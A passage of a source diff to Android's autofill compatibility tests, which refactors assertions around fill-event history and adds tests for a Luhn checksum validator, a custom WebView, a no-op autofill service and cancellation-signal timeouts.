+        assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
+        assertThat(event.getDatasetId()).isEqualTo("name");
     }
 
     @Test
@@ -2606,7 +2994,7 @@
         clientState.putCharSequence("clientStateKey", "clientStateValue");
 
         // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedFillResponse.Builder().addDataset(
                         new CannedDataset.Builder()
                                 .setField(ID_USERNAME, "username")
@@ -2626,19 +3014,18 @@
         // Authenticate
         sUiBot.selectDataset("authentication");
         sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("dataset");
 
-        eventually(() -> {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
-                    "clientStateValue");
+        // Verify fill selection
+        FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+                "clientStateValue");
 
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            FillEventHistory.Event event = selection.getEvents().get(0);
-            assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
-            assertThat(event.getDatasetId()).isNull();
-        });
+        assertThat(selection.getEvents().size()).isEqualTo(1);
+        FillEventHistory.Event event = selection.getEvents().get(0);
+        assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
+        assertThat(event.getDatasetId()).isNull();
     }
 
     @Test
@@ -2652,13 +3039,16 @@
                         .setPresentation(createPresentation("dataset1"))
                         .build())
                 .build());
+        mActivity.expectAutoFill("username");
 
         // Trigger autofill on username
         mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
         sUiBot.selectDataset("dataset1");
         sReplier.getNextFillRequest();
+        mActivity.assertAutoFilled();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
@@ -2668,7 +3058,7 @@
             FillEventHistory.Event event = selection.getEvents().get(0);
             assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
             assertThat(event.getDatasetId()).isNull();
-        });
+        }
 
         // Set up second partition with a named dataset
         Bundle clientState = new Bundle();
@@ -2689,13 +3079,15 @@
                                 .build())
                 .setExtras(clientState)
                 .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+        mActivity.expectPasswordAutoFill("password3");
 
         // Trigger autofill on password
         mActivity.onPassword(View::requestFocus);
         sUiBot.selectDataset("dataset3");
         sReplier.getNextFillRequest();
+        mActivity.assertAutoFilled();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
@@ -2706,12 +3098,13 @@
             FillEventHistory.Event event = selection.getEvents().get(0);
             assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
             assertThat(event.getDatasetId()).isEqualTo("name3");
-        });
+        }
 
         mActivity.onPassword((v) -> v.setText("new password"));
         mActivity.syncRunOnUiThread(() -> mActivity.finish());
+        waitUntilDisconnected();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
@@ -2726,7 +3119,7 @@
             FillEventHistory.Event event2 = selection.getEvents().get(1);
             assertThat(event2.getType()).isEqualTo(TYPE_SAVE_SHOWN);
             assertThat(event2.getDatasetId()).isNull();
-        });
+        }
     }
 
     @Test
@@ -2740,11 +3133,15 @@
                         .setPresentation(createPresentation("dataset1"))
                         .build())
                 .build());
+        mActivity.expectAutoFill("username");
+
         mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
         sReplier.getNextFillRequest();
         sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
@@ -2754,20 +3151,21 @@
             FillEventHistory.Event event = selection.getEvents().get(0);
             assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
             assertThat(event.getDatasetId()).isNull();
-        });
+        }
 
         // Second request
         sReplier.addResponse(NO_RESPONSE);
         mActivity.onPassword(View::requestFocus);
         sReplier.getNextFillRequest();
         sUiBot.assertNoDatasets();
+        waitUntilDisconnected();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertThat(selection).isNull();
-        });
+        }
     }
 
     @Test
@@ -2781,12 +3179,15 @@
                         .setPresentation(createPresentation("dataset1"))
                         .build())
                 .build());
+        mActivity.expectAutoFill("username");
+
         mActivity.onUsername(View::requestFocus);
         waitUntilConnected();
         sReplier.getNextFillRequest();
         sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
@@ -2796,20 +3197,21 @@
             FillEventHistory.Event event = selection.getEvents().get(0);
             assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
             assertThat(event.getDatasetId()).isNull();
-        });
+        }
 
         // Second request
         sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
         mActivity.onPassword(View::requestFocus);
         sReplier.getNextFillRequest();
         sUiBot.assertNoDatasets();
+        waitUntilDisconnected();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertThat(selection).isNull();
-        });
+        }
     }
 
     @Test
@@ -2823,12 +3225,15 @@
                         .setPresentation(createPresentation("dataset1"))
                         .build())
                 .build());
+        mActivity.expectAutoFill("username");
+
         mActivity.onUsername(View::requestFocus);
         waitUntilConnected();
         sReplier.getNextFillRequest();
         sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
@@ -2838,7 +3243,7 @@
             FillEventHistory.Event event = selection.getEvents().get(0);
             assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
             assertThat(event.getDatasetId()).isNull();
-        });
+        }
 
         // Second request
         sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
@@ -2846,12 +3251,12 @@
         sReplier.getNextFillRequest();
         waitUntilDisconnected();
 
-        eventually(() -> {
+        {
             // Verify fill selection
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertThat(selection).isNull();
-        });
+        }
     }
 
     private Bundle getBundle(String key, String value) {
@@ -2895,7 +3300,7 @@
         assertThat(selectionA.getEvents()).isNull();
 
         // Launch activity B
-        getContext().startActivity(new Intent(getContext(), CheckoutActivity.class));
+        mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
 
         // Trigger autofill on activity B
         sReplier.addResponse(new CannedFillResponse.Builder()
@@ -2917,6 +3322,7 @@
         // Now switch back to A...
         sUiBot.pressBack(); // dismiss keyboard
         sUiBot.pressBack(); // dismiss task
+        sUiBot.assertShownByRelativeId(ID_USERNAME);
         // ...and trigger save
         // Set credentials...
         mActivity.onUsername((v) -> v.setText("malkovich"));
@@ -2958,10 +3364,133 @@
 
         // Now disable user_complete and try again.
         try {
-            setUserComplete(getContext(), false);
+            setUserComplete(mContext, false);
             assertThat(afm.isEnabled()).isFalse();
         } finally {
-            setUserComplete(getContext(), true);
+            setUserComplete(mContext, true);
         }
     }
+
+    @Test
+    public void testPopupGoesAwayWhenServiceIsChanged() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("The Dude");
+
+        // Now disable service by setting another service
+        Helper.enableAutofillService(mContext, NoOpAutofillService.SERVICE_NAME);
+
+        // ...and make sure popup's gone
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testAutofillMovesCursorToTheEnd() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // NOTE: need to call getSelectionEnd() inside the UI thread, otherwise it returns 0
+        final AtomicInteger atomicBombToKillASmallInsect = new AtomicInteger();
+
+        mActivity.onUsername((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+        assertWithMessage("Wrong position on username").that(atomicBombToKillASmallInsect.get())
+                .isEqualTo(4);
+
+        mActivity.onPassword((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+        assertWithMessage("Wrong position on password").that(atomicBombToKillASmallInsect.get())
+                .isEqualTo(5);
+    }
+
+    @Test
+    public void testAutofillLargeNumberOfDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        final StringBuilder bigStringBuilder = new StringBuilder();
+        for (int i = 0; i < 10_000 ; i++) {
+            bigStringBuilder.append("BigAmI");
+        }
+        final String bigString = bigStringBuilder.toString();
+
+        final int size = 100;
+        Log.d(TAG, "testAutofillLargeNumberOfDatasets(): " + size + " datasets with "
+                + bigString.length() +"-bytes id");
+
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder();
+        for (int i = 0; i < size; i++) {
+            final String suffix = "-" + (i + 1);
+            response.addDataset(new CannedDataset.Builder()
+                    .setField(ID_USERNAME, "user" + suffix)
+                    .setField(ID_PASSWORD, "pass" + suffix)
+                    .setId(bigString)
+                    .setPresentation(createPresentation("DS" + suffix))
+                    .build());
+        }
+
+        // Set expectations.
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are shown.
+        // TODO: improve assertDatasets() so it supports scrolling, and assert all of them are
+        // shown
+        sUiBot.assertDatasets("DS-1", "DS-2", "DS-3");
+
+        // TODO: once it supports scrolling, selects the last dataset and asserts it's filled.
+    }
+
+    @Test
+    public void testCancellationSignalCalledAfterTimeout() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final OneTimeCancellationSignalListener listener =
+                new OneTimeCancellationSignalListener(Helper.FILL_TIMEOUT_MS + 2000);
+        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Attach listener to CancellationSignal.
+        waitUntilConnected();
+        sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
+
+        // AssertResults
+        waitUntilDisconnected();
+        listener.assertOnCancelCalled();
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
new file mode 100644
index 0000000..09600a8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LuhnChecksumValidatorTest {
+
+    @Test
+    public void nullId() {
+        assertThrows(NullPointerException.class,
+                () -> new LuhnChecksumValidator((AutofillId[]) null));
+    }
+
+    @Test
+    public void nullAndOtherId() {
+        assertThrows(NullPointerException.class,
+                () -> new LuhnChecksumValidator(new AutofillId(1), null));
+    }
+
+    @Test
+    public void duplicateFields() {
+        AutofillId id = new AutofillId(1);
+
+        // duplicate fields are allowed
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id, id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        // 5 is a valid checksum for 0005000
+        when(finder.findByAutofillId(id)).thenReturn("0005");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        // 6 is a not a valid checksum for 0006000
+        when(finder.findByAutofillId(id)).thenReturn("0006");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void leadingZerosAreIgnored() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("7992739871-3");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(id)).thenReturn("07992739871-3");
+        assertThat(validator.isValid(finder)).isTrue();
+    }
+
+    @Test
+    public void onlyOneChecksumValid() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        for (int i = 0; i < 10; i++) {
+            when(finder.findByAutofillId(id)).thenReturn("7992739871-" + i);
+            assertThat(validator.isValid(finder)).isEqualTo(i == 3);
+        }
+    }
+
+    @Test
+    public void nullAutofillValuesCauseFailure() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2, id3);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+        when(finder.findByAutofillId(id2)).thenReturn(null);
+        when(finder.findByAutofillId(id3)).thenReturn("3");
+
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void nonDigits() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+        when(finder.findByAutofillId(id)).thenReturn("a7B9^9\n2 7{3\b9\08\uD83C\uDF2D7-1_3$");
+        assertThat(validator.isValid(finder)).isTrue();
+    }
+
+    @Test
+    public void multipleFieldNumber() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+        when(finder.findByAutofillId(id2)).thenReturn("3");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(id2)).thenReturn("2");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
index 026cf08..14cb3dd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
@@ -16,8 +16,6 @@
 
 package android.autofillservice.cts;
 
-import static com.google.common.truth.Truth.assertWithMessage;
-
 import android.app.Activity;
 import android.app.assist.AssistStructure;
 import android.content.Intent;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
index 3750c30..52c3bcc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
@@ -62,21 +62,19 @@
     /**
      * Throws one exception merging all exceptions thrown or added so far, if any.
      */
-    public void throwIfAny() throws Exception {
+    public void throwIfAny() throws Throwable {
         if (mThrowables.isEmpty()) return;
 
-        if (mThrowables.size() == 1) {
-            final Throwable t = mThrowables.get(0);
-            if (t instanceof Exception) {
-                throw (Exception) t;
-            }
+        final int numberExceptions = mThrowables.size();
+        if (numberExceptions == 1) {
+            throw mThrowables.get(0);
         }
 
         String msg = "D'OH!";
         try {
             try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
-                sw.write("Caught " + mThrowables.size() + " exceptions\n");
-                for (int i = 0; i < mThrowables.size(); i++) {
+                sw.write("Caught " + numberExceptions + " exceptions\n");
+                for (int i = 0; i < numberExceptions; i++) {
                     sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
                     final Throwable exception = mThrowables.get(i);
                     exception.printStackTrace(pw);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
index 48b0c2f..1ba8755 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
@@ -80,7 +80,17 @@
     void assertUiShownEvent(View expectedView, int expectedChildId) throws InterruptedException {
         final MyEvent event = assertUiShownEvent(expectedView);
         assertWithMessage("Invalid child on event %s", event).that(event.childId)
-            .isSameAs(expectedChildId);
+            .isEqualTo(expectedChildId);
+    }
+
+    /**
+     * Convenience method to assert an UI shown event a virtual view was received.
+     *
+     * @return virtual child id
+     */
+    int assertUiShownEventForVirtualChild(View expectedView) throws InterruptedException {
+        final MyEvent event = assertUiShownEvent(expectedView);
+        return event.childId;
     }
 
     /**
@@ -101,7 +111,7 @@
     void assertUiHiddenEvent(View expectedView, int expectedChildId) throws InterruptedException {
         final MyEvent event = assertUiHiddenEvent(expectedView);
         assertWithMessage("Invalid child on event %s", event).that(event.childId)
-                .isSameAs(expectedChildId);
+                .isEqualTo(expectedChildId);
     }
 
     /**
@@ -123,7 +133,7 @@
             throws InterruptedException {
         final MyEvent event = assertUiUnavailableEvent(expectedView);
         assertWithMessage("Invalid child on event %s", event).that(event.childId)
-                .isSameAs(expectedChildId);
+                .isEqualTo(expectedChildId);
     }
 
     private static final class MyEvent {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
new file mode 100644
index 0000000..5317d89
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.SparseArray;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+    private static final String TAG = "MyWebView";
+    private FillExpectation mExpectation;
+
+    public MyWebView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
+    }
+
+    public void expectAutofill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+    }
+
+    public void assertAutofilled() throws Exception {
+        assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+        final boolean set = mExpectation.mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (mExpectation.mException != null) {
+            throw mExpectation.mException;
+        }
+        assertWithMessage("Timeout (%s ms) expecting autofill()", FILL_TIMEOUT_MS)
+                .that(set).isTrue();
+        assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+                .isEqualTo(mExpectation.mExpectedUsername);
+        assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+                .isEqualTo(mExpectation.mExpectedPassword);
+    }
+
+    @Override
+    public void autofill(SparseArray<AutofillValue> values) {
+        super.autofill(values);
+
+        if (mExpectation == null) return;
+
+        try {
+            if (values == null || values.size() != 2) {
+                mExpectation.mException =
+                        new IllegalArgumentException("Invalid values on autofill(): " + values);
+            } else {
+                try {
+                    mExpectation.mActualUsername = values.valueAt(0).getTextValue().toString();
+                    mExpectation.mActualPassword = values.valueAt(1).getTextValue().toString();
+                } catch (Exception e) {
+                    mExpectation.mException = e;
+                }
+            }
+        } finally {
+            mExpectation.mLatch.countDown();
+        }
+    }
+
+    boolean isAutofillEnabled() {
+        return getContext().getSystemService(AutofillManager.class).isEnabled();
+    }
+
+    private class FillExpectation {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final String mExpectedUsername;
+        private final String mExpectedPassword;
+        private String mActualUsername;
+        private String mActualPassword;
+        private Exception mException;
+
+        FillExpectation(String username, String password) {
+            this.mExpectedUsername = username;
+            this.mExpectedPassword = password;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
new file mode 100644
index 0000000..a4c2a10
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+
+/**
+ * {@link AutofillService} implementation that does not do anything...
+ */
+public class NoOpAutofillService extends AutofillService {
+
+    static final String SERVICE_NAME = NoOpAutofillService.class.getPackage().getName()
+            + "/." + NoOpAutofillService.class.getSimpleName();
+    static final String SERVICE_LABEL = "NoOpAutofillService";
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
new file mode 100644
index 0000000..0b055e0
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.CancellationSignal;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.os.CancellationSignal.OnCancelListener} used to assert that
+ * {@link android.os.CancellationSignal.OnCancelListener} was called, and just once.
+ */
+final class OneTimeCancellationSignalListener implements CancellationSignal.OnCancelListener {
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private final long mTimeoutMs;
+
+    OneTimeCancellationSignalListener(long timeoutMs) {
+        mTimeoutMs = timeoutMs;
+    }
+
+    void assertOnCancelCalled() throws Exception {
+        final boolean called = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for onCancel()", mTimeoutMs)
+                .that(called).isTrue();
+    }
+
+    @Override
+    public void onCancel() {
+        mLatch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
index fee5e31..071dec6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
@@ -16,9 +16,9 @@
 
 package android.autofillservice.cts;
 
-import static com.google.common.truth.Truth.assertWithMessage;
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
 
-import static android.autofillservice.cts.Helper.*;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.widget.CompoundButton;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
index 9c0d196..e326231 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
@@ -20,7 +20,6 @@
 
 import android.content.Intent;
 import android.os.Bundle;
-import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
index d1b8400..c82fa42 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
@@ -15,6 +15,7 @@
  */
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS1;
@@ -28,6 +29,8 @@
 import android.app.assist.AssistStructure;
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
 
 import org.junit.After;
 import org.junit.Before;
@@ -47,6 +50,9 @@
  */
 public class OptionalSaveActivityTest extends AutoFillServiceTestCase {
 
+    private static final boolean EXPECT_NO_SAVE_UI = false;
+    private static final boolean EXPECT_SAVE_UI = false;
+
     @Rule
     public final AutofillActivityTestRule<OptionalSaveActivity> mActivityRule =
         new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class);
@@ -430,4 +436,248 @@
         // Once saved, the session should be finsihed.
         assertNoDanglingSessions();
     }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilled_oneDatasetAllRequiredFields()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1, ID_ADDRESS2},
+                null,
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilled_oneDatasetRequiredAndOptionalFields()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
